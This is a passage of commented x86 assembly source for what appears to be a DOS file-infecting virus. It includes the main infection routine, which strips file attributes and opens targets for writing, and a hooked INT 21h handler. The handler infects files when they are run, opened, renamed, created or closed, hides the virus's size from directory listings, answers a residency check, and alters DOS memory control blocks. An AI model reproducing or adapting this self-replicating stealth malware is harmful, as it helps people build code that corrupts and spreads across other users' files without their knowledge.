;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
; Diz iz main infection routine ...
sub_118F	proc	near
		push	ax
		push	bx
		push	cx
		push	si			; push regz
		push	di
		push	bp
		push	ds
		push	es
		call	sub_1034		; set my int_24h
		mov	ax, 4300h		; gimme file_attribz
		call	int_21h
		mov	cs:[file_attribz - p], cx; store it
		mov	ax, 4301h		; set new attribz
		xor	cx, cx			; no attribz
		call	int_21h
		jc	short loc_11D3		; error ?
		mov	ax, 3D02h		; open file 4 read_&_write
		call	int_21h
		jc	short loc_11CA		; error ?
		push	dx
		push	ds
		push	cs
		pop	ds
		push	cs
		pop	es
		mov	ds:[handle - p], ax	; store handle
		call	sub_0E7C		; ok infect the file
		mov	ah, 3Eh
		call	sub_0E6F		; close file
		pop	ds
		pop	dx
loc_11CA:
		mov	ax, 4301h		; set back old_attribz
		db	0b9h			; mov	cx, ?
file_attribz	dw	20h
		call	int_21h
loc_11D3:
		call	sub_1052		; set back old_int_24h
		pop	es
		pop	ds
		pop	bp
		pop	di
		pop	si			; restore regz
		pop	cx
		pop	bx
		pop	ax
		retn				; and end ...
sub_118F	endp

new_int_21h:
		pushf
		sti
		cmp	ah, 11h			; find_first_FCB_file ?
		je	short loc_11EB
		cmp	ah, 12h			; find next_FCB_file ?
		jne	short loc_121A
loc_11EB:
		db	0ebh
fcb_jmp_	db	0
		push	bx
		push	es
		push	ax
		mov	ah, 2Fh			; gimme DTA_addr
		call	int_21h
		pop	ax
		call	int_21h			; do FCB_function
		cmp	al, 0FFh		; did we find something ?
		je	short loc_1216
		push	ax			; yope
		cmp	byte ptr es:[bx], 0FFh	; extended FCB ?
		jne	short loc_1207
		add	bx, 7			; yope so jump over ext_FCB
loc_1207:
		add	bx, 17h			; go2 time
		call	sub_1157		; check whether infected
		pop	ax
		jnc	short loc_1216		; already infected ?
		add	bx, 6			; go2 file_size
		call	sub_1178		; sub viruz_size
loc_1216:					; nope
		pop	es
		pop	bx
		popf
		iret
loc_121A:
		cmp	ah, 4Eh			; find_first_file ?
		je	short loc_1224
		cmp	ah, 4Fh			; find_next_file ?
		jne	short loc_1250
loc_1224:
		push	bx
		push	es
		push	ax
		mov	ah, 2Fh			; gimme DTA_addr
		call	int_21h
		pop	ax
		call	int_21h			; do find_function
		jc	short loc_1249		; error ?
		push	ax
		add	bx, 16h			; go2 time
		call	sub_1157		; check whether infected
		pop	ax
		jnc	short loc_1242		; already infected ?
		add	bx, 4			; go2 file_size
		call	sub_1178		; sub viruz_size
loc_1242:					; nope
		pop	es
		pop	bx			; restore regz
		popf
		clc				; clear error_flag
		retf	2			; and end ...
loc_1249:					; yope
		pop	es
		pop	bx			; restore regz
		popf
		stc				; set error_flag
		retf	2			; and end ...
loc_1250:
		cmp	ax, 4B53h		; it'z mark ?
		jne	short loc_125A
		mov	ax, 454Bh		; yope so get 454bh
		popf
		iret				; and end ...
loc_125A:
		cmp	ah, 4Ch			; prog'z_end ?
		jne	short loc_1265
		mov	byte ptr cs:[fcb_jmp_ - p], 0
loc_1265:
		cld
		push	dx
		cmp	ax, 4B00h		; run_prog ?
		jne	short loc_12A9
		db	0ebh
run_jmp		db	offset loc_12a7 - ($ + 1)
		push	ax
		push	bx
		push	ds			; push regz
		push	es
		mov	ah, 52h			; gimme list_of_listz
		call	int_21h
		mov	ax, es:[bx-2]		; gimme first_mcb
loc_127B:
		mov	ds, ax
		add	ax, ds:[3]		; go2 next mcb_block
		inc	ax
		cmp	byte ptr ds:[0], 5Ah	; last_one ?
		jne	loc_127B
		mov	bx, cs			; yope
		cmp	ax, bx			; it'z our mcb_block ?
		jne	short loc_129D
		mov	byte ptr ds:[0], 4Dh	; make middle_block
		xor	ax, ax
		mov	ds, ax
		add	word ptr ds:[413h], 4	; add 4K 2 mem which we took
loc_129D:
		mov	byte ptr cs:[run_jmp-p], offset loc_12a7 - (run_jmp + 1)
		pop	es			; now jump 2 loc_12a7
		pop	ds
		pop	bx			; restore regz
		pop	ax
loc_12A7:
		jmp	short loc_12FD
loc_12A9:
		cmp	ah, 3Dh			; open_file ?
		je	short loc_12FD
		cmp	ah, 56h			; rename_file ?
		je	short loc_12FD
		cmp	ax, 6C00h		; ext_open_found ?
		jne	short loc_12C1
		test	dl, 00010010b		; action 02h or/and 10h ?
		mov	dx, si
		jz	short loc_12FD
		jmp	short loc_1307		; yope
loc_12C1:
		cmp	ah, 3Ch			; found_file ?
		je	short loc_1307
		cmp	ah, 5Bh			; make_new_file ?
		je	short loc_1307
		cmp	ah, 3Eh			; close_file ?
		jne	short loc_12F6
		cmp	bx, word ptr cs:[ext_handle - p]; do we have
		jne	short loc_12F6		; something 2 infect ?
		or	bx, bx			; handle nullovej ?
		jz	short loc_12F6
		call	int_21h			; close it
		jc	short loc_1323
		push	ds
		push	cs
		pop	ds
		mov	dx, offset ext_file_name - p; gimme file_name
		call	sub_118F		; and infect it
		mov	word ptr ds:[ext_handle - p], 0; nulluj ext_handle
		pop	ds
loc_12F0:
		pop	dx
		popf
		clc				; clear error_flag
		retf	2			; and end ...
loc_12F6:
		pop	dx
		popf				; jmp 2 old_int_21h
		jmp	dword ptr cs:[old_int_21h - p__]
loc_12FD:
		call	sub_1098		; check 4 file_name & disk
		jc	loc_12F6		; error ?
		call	sub_118F		; infect it
		jmp	short loc_12F6
loc_1307:
		cmp	word ptr cs:[ext_handle - p], 0
		jne	loc_12F6		; ext_file already founded ?
		call	sub_1098		; check 4 file_name & disk
		jc	loc_12F6		; error ?
		mov	word ptr cs:[file_offset - p], dx; store file_name_
		pop	dx			; _offset
		push	dx
		call	int_21h			; found it
		db	0bah			; mov	dx, ?
file_offset	dw	45cch
		jnc	short loc_1329		; error ?
loc_1323:					; yope
		pop	dx
		popf
		stc				; set error_flag
		retf	2			; and end ...
loc_1329:
		push	cx
		push	si
		push	di			; ok 
		push	es			; move file_name
		xchg	si, dx			; 2 our buffer
		mov	di, offset ext_handle - p
		push	cs
		pop	es
		stosw				; and store handle of course
		mov	cx, 4Bh			; move 4bh bytez
		rep	movsb			; and finally move
		pop	es
		pop	di
		pop	si			; restore regz
		pop	cx
		jmp	short loc_12F0		; and end ...

		;
		db	'Did you leave the room ?'
		;
run_counter	dw	04FBh
buffer		db	160h dup(?)
three_bytez	db	?			; offset 14bah
						; instr_buffer - 3
						; 0e9h disp16 haz 3 bytez ...
handle		dw	?			; offset 14bbh
instr_buffer	db	10 dup(?)		; offset 14bdh
file_buffer	db	1ah dup(?)		; offset 14c7h
old_int_24h	dd	?			; offset 14e1h
file_time_date	dd	?			; offset 14e5h
ext_handle	dw	?			; offset 14e9h
ext_file_name	db	4bh dup(?)		; offset 14ebh
name_buffer	db	4bh dup(?)		; offset 1536h
		;
seg_a		ends
		end	start